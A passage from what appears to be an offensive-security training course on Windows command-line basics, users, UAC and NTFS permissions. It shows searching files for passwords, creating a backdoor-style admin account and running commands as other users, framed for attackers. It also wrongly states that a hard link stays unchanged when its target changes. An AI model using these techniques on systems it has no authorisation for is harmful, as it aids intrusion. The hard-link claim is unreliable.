by computer programs regardless of the logged-in user account.
\Users: Every user who has logged in to the OS at least
once will have a subdirectory created under their name in this
directory.
\Users\Public: This is a subdirectory of \Users
and contains user data. It can be accessed by all users and is used
to share files among them. It can also be accessed across the network
from valid user accounts with remote access permissions.
\Users\[UserName]\AppData: This is a hidden subdirectory
of \Users. It stores application data and settings
for every user. \AppData contains three additional
subfolders, namely \Roaming, \Local, and
LocalLow. \Roaming is used for network-based
logins for roaming profiles and synchronizes the user's data
when they login to the computer. The Windows per-user temporary
directory,[107] \Temp, can be found here
under \Local.
\Windows: This stores the main Windows installation and
contains files related to the OS itself.
\System, \System32, and \SysWOW64:
These directories store dynamic-link library (DLL)[108]
files that execute the core features of Windows and the Windows API.
The nomenclature[109] for these directories can be a bit
confusing. \System stores 16-bit DLLs and is usually empty
on 64-bit editions of Windows because 16-bit applications cannot
run on 64-bit OSs. \System32 stores either 32-bit or
64-bit DLL files, depending on whether a 32-bit or 64-bit edition of
Windows is running. \SysWOW64 is found only on 64-bit editions of
Windows, and despite its name, stores 32-bit DLLs.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 115 minutes.
systeminfo.exe[110] is a Windows binary capable of
extracting detailed configuration information about the system it is
run on. It can also be run against remote machines if provided the
/s option.
C:\>systeminfo
Host Name: Offsec-Machine
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19041 N/A Build 19041
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Offsec
...
Listing 10 - Viewing a snippet of systeminfo
Though systeminfo is not a built-in command, we can still use the
/? option to query the program's usage information:
C:\>systeminfo /?
SYSTEMINFO [/S system [/U username [/P [password]]]] [/FO format] [/NH]
Description:
This tool displays operating system configuration information for
a local or remote machine, including service pack levels.
Parameter List:
/S system Specifies the remote system to connect to.
/U [domain\]user Specifies the user context under which
the command should execute.
/P [password] Specifies the password for the given
user context. Prompts for input if omitted.
/FO format Specifies the format in which the output
is to be displayed.
Valid values: "TABLE", "LIST", "CSV".
/NH Specifies that the "Column Header" should
not be displayed in the output.
Valid only for "TABLE" and "CSV" formats.
/? Displays this help message.
Examples:
SYSTEMINFO
SYSTEMINFO /?
SYSTEMINFO /S system
SYSTEMINFO /S system /U user
SYSTEMINFO /S system /U domain\user /P password /FO TABLE
SYSTEMINFO /S system /FO LIST
SYSTEMINFO /S system /FO CSV /NH
Listing 11 - Viewing systeminfo help
Windows is capable of storing environment variables similar to those
found on Linux.
Some of the most frequently used Windows environment variables include
the following.
| Environment Variable | Purpose |
|---|---|
| PATH | Holds the search path for executable files |
| USERNAME | Shows the currently logged on user |
| TEMP | Returns the default temporary storage directory(ies) |
| USERPROFILE | Holds the profile location of the current user |
...
Table 2 - A few environment variables
In the Linux Basics , we learned that we could reference Bash or Zsh
environment variables with the $<VARIABLE-NAME> syntax. On Windows,
we need to wrap the variable name in percentage signs like so:
%<VARIABLE-NAME>%.
For example, we can use the echo command to retrieve our
username.
C:\>echo username
username
C:\>echo $username
$username
C:\>echo %username%
Offsec
Listing 12 - Echoing our Username
In listing 12, note that the first two commands
simply output the literal string provided to echo as input.
When the set[111] command is used without
parameters, it will display all currently stored environment
variables.
C:\>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\Offsec\AppData\Roaming
asl.log=Destination=file
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=Offsec-Machine
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
FPS_BROWSER_APP_PROFILE_STRING=Internet Explorer
FPS_BROWSER_USER_PROFILE_STRING=Default
HOMEDRIVE=C:
HOMEPATH=\Users\Administrator
LOCALAPPDATA=C:\Users\Offsec\AppData\Local
LOGONSERVER=\\Offsec-Machine
NUMBER_OF_PROCESSORS=8
OneDrive=C:\Users\Offsec\OneDrive
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;
...
Listing 13 - Viewing all Environment Variables with set
The set command can also be used to temporarily change the
value of an environment variable in the context of the current shell.
The setx[112] command can be used to change a value
permanently by modifying the registry. We'll learn more about the
Windows registry in a section below.
The built-in functionality of many of the Windows Command Prompt
commands is limited compared to Unix shells like Bash. Microsoft
has developed a suite of tools that together help make up a robust
command-line environment for system administration, collectively
called the Sysinternals System Information Utilities. Note that
Sysinternals does not come with Windows by default, but we can
download it from Microsoft's website.[113]
The number of programs included in the suite is quite large and far
beyond what we can cover here. Below, we'll go over just one of the
tools that can be useful for security assessors, psinfo. We
encourage you to explore the wide variety of other programs on your
own.
Upon executing any of the Sysinternals tools for the first time, we
will need to accept the End-User License Agreement (eula). The eula
can also be accepted via the command-line for each utility with the
/accepteula option. After we accept the eula, we can run
psinfo with no arguments or options. This will display some
vital local system information.
C:\Users\Offsec\Downloads\SysinternalsSuite>psinfo
PsInfo v1.78 - Local and remote system information viewer
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
System information for \\Offsec-Machine:
Uptime: 1 day 3 hours 6 minutes 15 seconds
Kernel version: Windows 10 Enterprise, Multiprocessor Free
Product type: Professional
Product version: 6.3
Service pack: 0
Kernel build number: 19041
Registered organization:
Registered owner: Offsec
IE version: 9.0000
System root: C:\WINDOWS
Processors: 8
...
Listing 14 - Running psinfo
The psinfo tool is quite versatile, and can retrieve
information related to security, installed software, system patches,
disk volume, and more. It can even be used on a remote machine. We
leave it as an exercise to determine how to work with it further.
Remember to use /? if you get stuck.
Psinfo is not the only tool that can pull this info. It can be done
with PowerShell and wmic. We will cover those Topics later, but
exploring the functionality now, may help in the questions below.
Especially, if one tool fails to produce results.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 50 minutes to complete.
Managing files with the Command Prompt is very similar to doing so
with Zsh or Bash, with a few syntactical and functional differences to
take note of.
We can write a new file with the echo command. As mentioned
in the previous section, type outputs the command to the
terminal instead of cat.
C:\Users\Offsec>echo "New File" > NewFile.txt
C:\Users\Offsec>type NewFile.txt
"New File"
Listing 15 - Using echo to write a new file and type to read
In listing 15, notice that the quotes were captured
by the echo command.
To create an empty file, we can execute echo with no
arguments and redirect error output to the filename we want to create:
C:\Users\Offsec>echo 2> EmptyFile.txt
Listing 16 - Using echo to write an empty file
In listing 16, the echo command isn't
directly responsible for producing the empty file. Instead, we're
using the 2> operator to redirect all errors triggered by
echo to the specified file. Since echo produces
no errors, the file gets created with no content. As an exercise
for the reader, go ahead and test out what happens if you execute
notacommand 2> File.txt.
The del command is similar to linux's rm, and will delete files.
C:\Users\Offsec>del EmptyFile.txt
C:\Users\Offsec>type EmptyFile.txt
The system cannot find the file specified.
Listing 17 - Deleting files with del
We can rename files with rename or ren, and we can
move them to a different directory with move.
C:\Users\Offsec>rename NewFile.txt RenamedFile.txt
C:\Users\Offsec>type RenamedFile.txt
"New File"
C:\Users\Offsec>move RenamedFile.txt .\Music
1 file(s) moved.
Listing 18 - Renaming and moving files with ren and move
In listing 17, we first rename
NewFile.txt, and we notice that our content has been
preserved. Then we attempt to move the file to the \Music
directory. The error we receive is because we are trying to move it
to the absolute \Music folder rather than the relative
folder under our current working directory. We solve the issue
in listing 18 by using the dot (.) to
specify our current directory. We could have also used move
RenamedFile.txt C:\Users\Offsec\Music instead.
Similar to Linux's commands, mkdir and rmdir will
create and delete folders.
C:\Users\Offsec>mkdir ANewDirectory
C:\Users\Offsec>dir
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\Users\Offsec
05/24/2021 10:36 PM <DIR> ANewDirectory
05/24/2021 10:36 PM <DIR> Contacts
05/24/2021 10:36 PM <DIR> Desktop
...
C:\Users\Offsec>rmdir ANewDirectory
C:\Users\Offsec>dir
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\Users\Offsec
05/24/2021 10:36 PM <DIR> Contacts
05/24/2021 10:36 PM <DIR> Desktop
...
Listing 19 - Making and deleting directories with mkdir and rmdir
In listing 19, we create a new directory, verify
its existence with the dir command, and then delete it.
Finally we check that it has been deleted with dir once
again.
The rmdir commmand can also be used to delete a directory
that has content within it. To do so, we'll need to use the
/S option.
C:\Users\Offsec>mkdir ThisFolder
C:\Users\Offsec>echo Has Stuff > .\ThisFolder\HasStuff.txt
C:\Users\Offsec>rmdir .\ThisFolder
The directory is not empty.
C:\Users\Offsec>rmdir /S .\ThisFolder
.\ThisFolder, Are you sure (Y/N)? y
Listing 20 - Deleting a populated directory with /S
In listing 20, we create a directory and place
a text file within it. We tried to delete it without the /S
option, but we received an error. Once we properly invoked the
/S option, we got a prompt to double check that we really
wanted to delete the directory.
We can use copy to copy the contents of one file to a second
one.
C:\Users\Offsec>cd Music
C:\Users\Offsec\Music>dir
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\Users\Offsec\Music
05/24/2021 10:36 PM <DIR> .
05/24/2021 10:36 PM <DIR> ..
05/24/2021 10:36 PM 13 RenamedFile.txt
1 File(s) 13 bytes
2 Dir(s) 32,479,846,400 bytes free
C:\Users\Offsec\Music>copy RenamedFile.txt ThisIsntMusic.txt
1 file(s) copied.
C:\Users\Offsec\Music>dir
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\Users\Offsec\Music
05/24/2021 10:36 PM <DIR> .
05/24/2021 10:36 PM <DIR> ..
05/24/2021 10:36 PM 13 RenamedFile.txt
05/24/2021 10:36 PM 13 ThisIsntMusic.txt
2 File(s) 26 bytes
2 Dir(s) 32,479,580,160 bytes free
C:\Users\Offsec\Music>fc RenamedFile.txt ThisIsntMusic.txt
Comparing files RenamedFile.txt and THISISNTMUSIC.TXT
FC: no differences encountered
Listing 21 - Copying files with copy and checking with fc
Here we copied the contents of RenamedFile.txt to a new file.
We used dir to check, but then introduce the fc
command which compares the contents of two files elegantly.
The xcopy and robocopy[114] commands are more
robust versions of copy that are often used in batch scripts. While
xcopy has been deprecated, robocopy is very helpful because it has a
high tolerance for network interruptions. It also has several other
powerful features that are useful for security auditing.
Windows includes the ability to create soft and hard symbolic
links, similar to what you will find in Linux. A symbolic link
essentially points to another file or directory. A soft symbolic link
is the equivalent of a shortcut. That is, it redirects attempts to
connect to invoke the linked file back to the original.
A hard symbolic link makes it appear as though the referenced file or
directory actually exists in the same location as the link's location.
This can be useful when working with programs that require access to
specific files or directories.
The mklink command is used to create a symbolic link on Windows and
supports the creation of both soft and hard symbolic links. The first
argument to mklink is the name of the link, and the second
argument is the name of the target we want to link to.
To create a soft symbolic link to a text file we can execute
mklink with no additional options:
C:\Users\Offsec>echo This is the file we want to link to > fileToBeLinkedTo.txt
C:\Users\Offsec>type fileToBeLinkedTo.txt
This is the file we want to link to
C:\Users\Offsec>mklink softlink fileToBeLinkedTo.txt
symbolic link created for softlink <<===>> fileToBeLinkedTo.txt
C:\Users\Offsec>type softlink
This is the file we want to link to
C:\Users\Offsec>dir softlink
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\Users\Offsec
05/25/2021 09:23 PM <SYMLINK> softlink [fileToBeLinkedTo.txt]
1 File(s) 0 bytes
0 Dir(s) 32,479,338,496 bytes free
Listing 22 - Creating a symbolic link
Let's review this listing. First, we created a new text file and
create a symbolic link that points to it. When we invoke the symbolic
link with type, we get the output of the linked file. We then
use dir to check the symlink's filetype and notice that it is
called "<SYMLINK>".
Let's do the same exercise with a hard symbolic link. To create a
hardlink, we use the same syntax but also employ the /h
option.
C:\Users\Offsec>echo This is another file to link to > secondFile.txt
C:\Users\Offsec>type secondFile.txt
This is another file to link to
C:\Users\Offsec>mklink /h hardlink secondFile.txt
Hardlink created for hardlink <<===>> secondFile.txt
C:\Users\Offsec>type hardlink
This is another file to link to
C:\Users\Offsec>dir hardlink
05/25/2021 09:24 PM 34 hardlink
1 File(s) 34 bytes
0 Dir(s) 32,478,904,320 bytes free
Listing 23 - Creating a hard symbolic link
Notice that the hardlink file has a regular filetype and does
not contain the "<SYMLINK>" tag. If we were to change the contents
of secondFile.txt, hardlink would remain unchanged.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 115 minutes to complete.
In this section, we'll cover how to locate files in Windows. Windows doesn't
quite have an equivalent of Linux's find. However, we can still
search for files using a variety of other commands. In this section, we'll focus on
using dir, tree, and forfiles.
We're already familiar with dir. One of the options we
haven't explored yet is the /s option, which allows us to
search for any file in the given folder and any of its subfolders.
If we don't specify a parent directory, the search will begin at the
current working directory.
C:\Users\Offsec>dir /s trojan.txt
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\Users\Offsec\Documents
05/25/2021 08:35 PM 2,771 trojan.txt
1 File(s) 2,771 bytes
Total Files Listed:
1 File(s) 2,771 bytes
0 Dir(s) 32,443,052,032 bytes free
Listing 24 - Searching for a malicious file
Here we used dir /s to find some malware.[115] If
only it was always this simple!
We can use the wildcard character (*) to search for all files with a
given extension. For example, if we want to search for all executables
in a given folder, we could do so like this.
C:\Users\Offsec>dir /s *.exe /p
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\Users\Offsec\AppData\Local\atom
05/25/2021 02:29 PM 1,709,096 Update.exe
1 File(s) 1,709,096 bytes
Directory of C:\Users\Offsec\AppData\Local\Discord
05/25/2021 11:43 PM 1,512,760 Update.exe
1 File(s) 1,512,760 bytes
...
Listing 25 - Searching for all executable binaries
We use the /p switch, in listing 25, to
pause the print after the terminal page is full, so that we can browse
the output at the pace we prefer.
The tree command produces a rather striking visualization of
the directory structure.
C:\Users\Offsec>tree
Folder PATH listing
Volume serial number is 523D-9369
C:.
...
├───Links
├───Music
│ └───Artists
│ ├───Albums
│ │ ├───Songs
│ │ ├───Generated
│ │ └───MyMusic
├───SecretStuff
│ ├───Documents
│ ├───Firewalls
│ │ ├───DontCheckHere
│ ├───Databases
│ │ ├───VPNs
│ │ ├───Images
│ │ ├───Resources
│ │ └───Videos
│ ├───Intelligence
│ │ ├───Profiles
│ │ ├───Policies
│ │ └───Orientation
│ │ └───scripts
...
Listing 26 - Using tree to see the directory structure
We can use tree to easily search through a user's home
directory to find interesting files. The /F flag will display
any files that exist within each of the directories in the output.
The forfiles command is an expressive tool that can execute other
commands on a defined set of files. While forfiles is very versatile,
we'll focus here on its search capability.
In the following example, we'll use forfiles to find the
path of notepad.exe. We'll use several flags. /P
specifies where to begin our search. /S indicates that we
want to search recursively. /M points at what we want to
search for. /C executes a specified command. In this case, we
want to output the path of the file to our terminal.
C:\Users\Offsec>forfiles /P C:\Windows /S /M notepad.exe /c "cmd /c echo @PATH"
...
"C:\Windows\SysWOW64\notepad.exe"
ERROR: Access is denied for "C:\Windows\SysWOW64\Com\dmp\".
ERROR: Access is denied for "C:\Windows\SysWOW64\config\".
ERROR: Access is denied for "C:\Windows\SysWOW64\Configuration\".
ERROR: Access is denied for "C:\Windows\SysWOW64\FxsTmp\".
ERROR: Access is denied for "C:\Windows\SysWOW64\Msdtc\".
ERROR: Access is denied for "C:\Windows\SysWOW64\networklist\".
ERROR: Access is denied for "C:\Windows\SysWOW64\sru\".
ERROR: Access is denied for "C:\Windows\SysWOW64\Tasks\".
Listing 27 - Using forfiles to find the path of notepad.exe
While we succeeded in finding notepad's path, we notice that there are
some errors in the output. This is because forfiles can only search
through directories that the user executing it has permissions to
enter. We'll learn more about user permissions in a later section.
Now that we know how to search for files, we can turn towards
searching for text within files. We mentioned that Windows does
not have a Linux find command equivalent. In Linux, that
command is used to locate a file. Somewhat confusingly, in Windows the
find command is used to search for a string of text.
Let's use find to search for the string "password" in what
appears to be an important file.
C:\>find "password" C:\Users\Offsec\importantfile.txt
---------- C:\USERS\OFFSEC\IMPORTANTFILE.TXT
user: Johnny - password: George1984!
Listing 28 - Finding the string 'password' in an important file
Just like Bash or Zsh, the Windows Command Prompt supports
redirection and piping.[116] Using pipes, we can
execute find on the output of another command:
C:\Users\Offsec>type importantfile.txt |find "password"
user: Johnny - password: George1984!
Listing 29 - Piping the output of type to find
Even though the output in listings 28 and
29 are similar, it's important to understand that
the execution of the commands is not exactly the same.
In the former, find is scanning through the contents of
importantfile.txt itself. In the latter, on the other hand,
find is scanning through the output of type, which is printed
to the terminal.
This suggests that we can use find similar to how we would use Linux's
grep. Since find operates on text, and since terminal output is
text, we can effectivly use find on any output. For example, we can
use it to search for files in a directory, the same way we might use
ls | grep on Linux.
C:\Users\Offsec>dir | find "important"
05/25/2021 09:51 AM 39 importantfile.txt
C:\Users\Offsec>
Listing 30 - Finding the string 'password' in an important file
While the find command is useful, it doesn't contain the
full power of grep. For example, it doesn't support regular
expressions.[117]
We can, however, use regular expressions with the findstr command.
Just like find, we can use findstr to search for a specific string.
However, it can also search for multiple strings at the same time.
When findstr is provided more than one space-delimited string,
it interprets the input as a logical OR. In other words, if findstr
is provided two strings as input, it will search for occurrences of
either of those strings.
In the following example, we search for the string "Johnny" OR the
string "password":
C:\Users\Offsec>findstr "Johnny password" importantfile.txt
user: Johnny - password: George1984!
Listing 31 - Using findstr
Notice how we successfully retrieve the output in listing
31. If findstr was instead trying to look for the
literal string "Johnny password", it wouldn't have reported results,
since importantfile.txt does not contain that exact string.
Sometimes the output of the commands we execute will fill up the
screen and scroll off it, making it difficult to grab exactly what
we are looking for. The more command allow us to conveniently view
the output. This is similar in behavior to the /P flag when
executed with dir, but more lets us scroll one line at a time, whereas
dir /P will scroll one "screen" at a time. Note that we can
pipe the output of other commands to more, just as we did above with
find.
There are several additional available to more to help manage output.
The best way to learn more is to practice using it and read the usage
information with /?.
The sort command can be used to order output in a variety of ways.
Lets say we have a text file full of unordered numbers, and we wish to
order the contents beginning with the highest number. We can use the
/R flag to do so.
First, we'll use type to check the contents of the file
before we start.
C:\>type numbers.txt
23
80
297
41
9
C:\>sort /R numbers.txt
297
80
41
23
9
Listing 32 - Using sort with the reverse option
As we hope is becoming clear, we can pass the output of other commands
to sort via a pipe.
In this Module, we will cover the following Learning Units:
This Learning Unit covers the following Learning Objectives:
This Learning Unit provides a gentle introduction to Windows
permissions, and describes how they are different from Unix-based
permission structures.
Before we dive into Windows, let's quickly review Linux's
Discretionary Access Control (DAC)[118] model for
comparison. We've previously covered the concept that "everything is a
file". Each file has three possible permissions: read (r), write (w),
and execute (x). Each file also has three possible access categories:
owner, group, and world. For a given file, any combination of
permissions can be assigned to any combination of access categories.
Windows also uses a DAC model, but it is significantly more nuanced.
For this reason, we'll be keeping our exploration of Windows Access
Control relatively high level here.
Windows has more than three permissions, and it also defines more than
three access categories. Further, Microsoft places a heavy emphasis
on design for networked-based access, which increases the complexity.
Given this design emphasis, it's interesting to note that even the
base command to create and manage users on a Windows system is called
net.[119]
We will be generalizing some of this material to make it more
equatable to the concepts covered in the Linux Basics Module but it is
important to highlight that the Windows concepts of users and
permissions are not identical to those of Linux. We're also going to
focus on local users and permissions in this section. We will cover
network-based users and permissions in future Modules.
We'll first cover the concept of security
principals[120] in Windows. One might assume this
term refers to best practices or accepted procedures, but the term
principal (as opposed to principle) means agent or entity.
Essentially, a security principal is a subject that the operating
system can opt to (or not to) authenticate. Security principals are
not limited to human user accounts. They include automated accounts,
threads, processes, groups of users, and even parts of the OS itself.
Security principals are identified by security identifiers
(SIDs).[121] SIDs are alpha-numeric codes that uniquely
identify principals on a Windows machine. Some SIDs are considered
well-known, and they identify the same principal on every Windows OS.
An example of a well-known SID is S-1-1-0, which belongs to the
Everyone group. This SID includes all users on the machine.
SIDs do not need to be of a constant length. Some are quite short (as
seen above), and others are much longer sequences of characters. We
can check the SID of our current user with the whoami command
by providing it the /user option:
C:\>whoami /user
USER INFORMATION
----------------
User Name SID
========================= ============================================
offsec-machine\offsec S-1-5-21-2753864161-1776656122-2845895175-1001
Listing 1 - Checking our user's SID
Each hyphen-separated number is called a component, and each
component assigns values with specific meanings. For example, the 3rd
component of a SID indicates the principal's identifier authority.
In listing 1, the identifier authority is 5,
which indicates that the SID belongs to an individual account or a
group.
We won't delve into what each component means and their potential
values here. The important takeaway is that the security identifier
system provides Windows with a flexible and robust means of
categorizing and referring to different security principals.
One important concept that makes use of SIDs are access
control entries (ACEs)[122] and access control lists
(ACLs).[123] An ACL is generally a dictionary of trustees
and sets of permissions they've been assigned. In Windows, each
element of an ACL is an ACE. There are six types of ACEs, and each ACE
includes a SID, a set of access rights,[124] and several
flags that each indicate different properties.
SIDs are also used by the Local Security Authority
(LSA)[125] to assign access tokens[126] to each
user when they log on to an operating system. An in-depth exploration
of the LSA and access tokens is beyond the scope of this Module. For
now, note that access tokens are protected objects containing a
user's SID and any rights that they have on the OS.
This Learning Unit covers the following Learning Objectives:
Windows comes with a standard set of default user and system accounts
on every installation of the OS. Here we will cover some of the most
important security related ones.
Administrator: Administrator is a user account designed for
the system administrator to manage the machine. Its SID is always
S-1-5-domain-500. The Administrator has full permissions on all files
and directories on the machine. This makes it an especially desired
target during penetration tests and security audits. It’s important to
note that the Administrator account is disabled by default on Windows
10. During initial account creation, another user account will usually
be assigned administrative permissions instead. Such permissions are
provided through membership to the Local Administrators group.
Guest: The Guest account lets non-users of the machine log
on temporarily with restrictive permissions. It belongs to the
Guests group, with SID S-1-5-32-546. By default, the Guest account
is disabled, but when enabled it often has a blank password. It's
important to note the implications from a security perspective because
if the guest account on a victim has been enabled, we can often log on
to it.
SYSTEM: The SYSTEM account is used by the OS to run services that
need elevated permissions. By default, it has all the permissions
of the Administrator, but it isn't supposed to be logged in to by a
human user. That being said, some exploits can allow us to execute
code in the context of its owner. If a process running as SYSTEM gets
exploited, we might be able to impersonate the SYSTEM user itself.
We can use the net command to add, remove, and modify user accounts
and group membership on a local or networked machine. The net command
contains a series of subcommands that each perform a specific function.
To invoke a subcommand, we provide it to net as an argument.
If we execute net with no arguments, we receive a list of its
subcommands as output.
C:\>net
The syntax of this command is:
NET
[ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |
STATISTICS | STOP | TIME | USE | USER | VIEW ]
Listing 2 - Executing net with no arguments
We can also get slightly more extensive usage information with net
help.
C:\>net help
The syntax of this command is:
NET HELP
command
-or-
NET command /HELP
Commands available are:
NET ACCOUNTS NET HELPMSG NET STATISTICS
NET COMPUTER NET LOCALGROUP NET STOP
NET CONFIG NET PAUSE NET TIME
NET CONTINUE NET SESSION NET USE
NET FILE NET SHARE NET USER
NET GROUP NET START NET VIEW
NET HELP
NET HELP NAMES explains different types of names in NET HELP syntax lines.
NET HELP SERVICES lists some of the services you can start.
NET HELP SYNTAX explains how to read NET HELP syntax lines.
NET HELP command | MORE displays Help one screen at a time.
Listing 3 - Executing net help
With administrative permissions, we can create a new local user on our
machine with net user.
C:\>net user /add Tristan greatpassword
The command completed successfully.
C:\>net user Tristan
User name Tristan
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/25/2021 11:01:31 AM
Password expires 7/8/2021 11:01:31 AM
Password changeable 5/25/2021 11:01:31 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
Listing 4 - Adding a new user and viewing their information
In listing 4, we created a new user with
the /add option, and provided a username and password. We
then use net user again to retrieve information about the
new account. We can verify if the account is enabled or not via the
"Account active" line. In this case, the account is enabled because we
just created it.
We can also use net to view and modify localgroup membership. A
localgroup is a set of accounts that can be assigned permissions on
a local machine. Let's use net localgroup to retrieve local
group information on our system.
C:\>net localgroup
Aliases for \\Offsec-Machine
-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Cryptographic Operators
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users
*Remote Management Users
*Replicator
*System Managed Accounts Group
*Users
The command completed successfully.
Listing 5 - Executing net localgroup
Two important groups for security are Administrators and Remote
Desktop Users. Any member of Administrators has equivalent
permissions of the Administrator account, and any member of
Remote Desktop Users can access the machine remotely if Remote
Desktop[127] is enabled. Often if an attacker gets
remote code execution on a machine with administrative privileges,
they will add a user to the system, add the new user to the Remote
Desktop Users group, and then log on to the machine remotely. This
provides them with full GUI access to the target.
Let's now add "Tristan" to the Administrators group with net
localgroup.
C:\>net localgroup Administrators Tristan /add
The command completed successfully.
Listing 6 - Adding Tristan to the Administrator group
Now we'll clean up by removing "Tristan" from the Administrators
group, and then deleting the account.
C:\>net localgroup Administrators Tristan /del
The command completed successfully.
C:\>net user /del Tristan
The command completed successfully.
Listing 7 - Removing Tristan from the Administrators group and deleting the account
Another useful net subcommand is accounts. We can use net
accounts to display or set account policies.
C:\>net accounts
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 90
Minimum password length: 8
Length of password history maintained: 5
Lockout threshold: 4
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: WORKSTATION
The command completed successfully.
Listing 8 - Viewing the current account policies
Finally, for completion's sake, we will mention the existence of
default security groups[128]. We'll cover these
further in a future Module.
User Account Control(UAC)[129] is another security
feature on Windows that has no standard Linux equivalent. Its purpose,
in general, is to protect against malicious actions by forcing an
active human user to manually confirm administrative actions by means
of a prompt, or message box.
The details of how UAC works are beyond the scope of this Module. For
our purposes, we want to highlight three important takeaways.
Windows SYSTEM and Administrator accounts aren't quite trusted
with the same amount of power as root accounts on Unix-like machines.
UAC is one of Microsoft's methods of applying the Principle of
Least Privilege (POLP). POLP says to give users, accounts, and systems
access to only the things they need to get their job done.
The pop-up windows that UAC triggers are an important phenomenon
for an attacker to be aware of. If an attacker triggers UAC with a
malicious action, the active user will likely become aware of the
attempt. Strong attackers have a good model of what actions can
trigger UAC, so that they can better avoid it.
Windows comes with a command to impersonate another user called
runas. It's not nearly as powerful as sudo, but it can be used to
elevate privileges temporarily. Let's execute runas with no
arguments to show its usage information:
C:\>runas
RUNAS USAGE:
RUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ]
/user:<UserName> program
RUNAS [ [/noprofile | /profile] [/env] [/savecred] ]
/smartcard [/user:<UserName>] program
RUNAS /trustlevel:<TrustLevel> program
/noprofile specifies that the user's profile should not be loaded.
This causes the application to load more quickly, but
can cause some applications to malfunction.
/profile specifies that the user's profile should be loaded.
This is the default.
/env to use current environment instead of user's.
/netonly use if the credentials specified are for remote
access only.
/savecred to use credentials previously saved by the user.
/smartcard use if the credentials are to be supplied from a
smartcard.
/user <UserName> should be in form USER@DOMAIN or DOMAIN\USER
/showtrustlevels displays the trust levels that can be used as arguments
to /trustlevel.
/trustlevel <Level> should be one of levels enumerated
in /showtrustlevels.
program command line for EXE. See below for examples
Examples:
> runas /noprofile /user:mymachine\administrator cmd
> runas /profile /env /user:mydomain\admin "mmc %windir%\system32\dsa.msc"
> runas /env /user:user@domain.microsoft.com "notepad \"my file.txt\""
NOTE: Enter user's password only when prompted.
NOTE: /profile is not compatible with /netonly.
NOTE: /savecred is not compatible with /smartcard.
Listing 9 - Executing runas with no arguments
Since runas can execute commands with another user's
permissions, it can be useful for attackers to attempt it if they
obtain low-level access to a machine.
Another thing attackers can do with limited access to a target (say,
via remote command execution) is to invoke the cmd.exe binary
itself. So far, we've been running cmd.exe as a terminal with
legitimate permissions to do so. However, since cmd.exe is
a binary that can get executed like any other, a remote attacker may
be able to use it to execute individual arbitrary commands. We can do
this with the /c option, which runs the command it's provided
as an argument and then terminates immediately.
C:\>echo hi
hi
C:\>cmd /c echo hi
hi
Listing 10 - Demonstrating cmd /c usage
While the output of the two commands in listing
8 is the same, the executor of those commands
is different. The first command was executed by the cmd.exe
process running inside the terminal, but the second command started
another separate cmd.exe process, and this second process ran
echo.
runas is best used with a GUI interface, since it executes the
desired command under a different context than the shell that starts
it. Therefore, we'll be using the rdesktop utility on Kali Linux
to remotely connect to the Windows target GUI instead of our regular
SSH connection. The rdesktop syntax is: rdesktop -u USERNAME -p
PASSWORD IP-ADDRESS. The -f and -g switches may also be useful
for better visibility.
This Learning Unit covers the following Learning Objectives:
In this section, we'll begin to explore Window's New Technology
File System (NTFS)[130] permission structure. Note that
this subject is very broad and we'll only be able to cover the basic
permissions. The important takeaway is, we want to be able to identify
and understand the various permissions so that we can eventually learn
to exploit any issues in the future.
Like Unix-based permissions, NTFS treats files and directories
slightly differently. Let's learn about them one at a time. The
following is the basic set of permissions assignable to files.
Read: Allows the user to view the contents of the file. Crucially,
read also allows users to execute scripts.
Write: Allows the user to write to the file. Note that write
does not allow a user to delete the file, though they can delete its
contents.
Read & Execute: Allows the user to read the file, as well as
execute binaries.
Modify: Allows the user to read and write to the file. Also allows
the user to delete it.
Full Control: Allows the user to read, write, change, or delete
the file.
Here is the basic set of permissions assignable to directories.
Read: Allows the user to view and list any file in the directory.
Write: Allows the user to add files or subfolders to the
directory.
Read & Execute: Allows the user to view and list any file or
subfolder in the directory, and also allows execution of any binary
within the folder.
List Folder Contents: Allows the user to list any file or
subfolder in the directory and also allows execution of any binary
within the folder. List Folder Contents appears at first glance very
similar to Read & Execute. The difference between them is that Read &
Execute allows for viewing the contents of files as well.
Modify: Allows the user to read, write and delete files and
subfolders within the directory.
Full Control: Allows the user to read, write, change, and delete
files and subfolders within the directory. Note that the Full
Control permission on a directory allows the user to delete all files
in it, even if they aren't assigned Modify or Full Control permissions
on the files themselves.
These basic permissions are made up of a larger set of
special permissions. These special permissions allow for more
granular control over what users can do. We can think of the special
permissions as building blocks that make up the basic ones, where
the basic ones are just the most frequently used combinations. It may
be useful to learn more about special permissions[131]
outside what we can explain here.
One important concept to cover quickly is that of
inheritance.[132] In general, inheritance allows
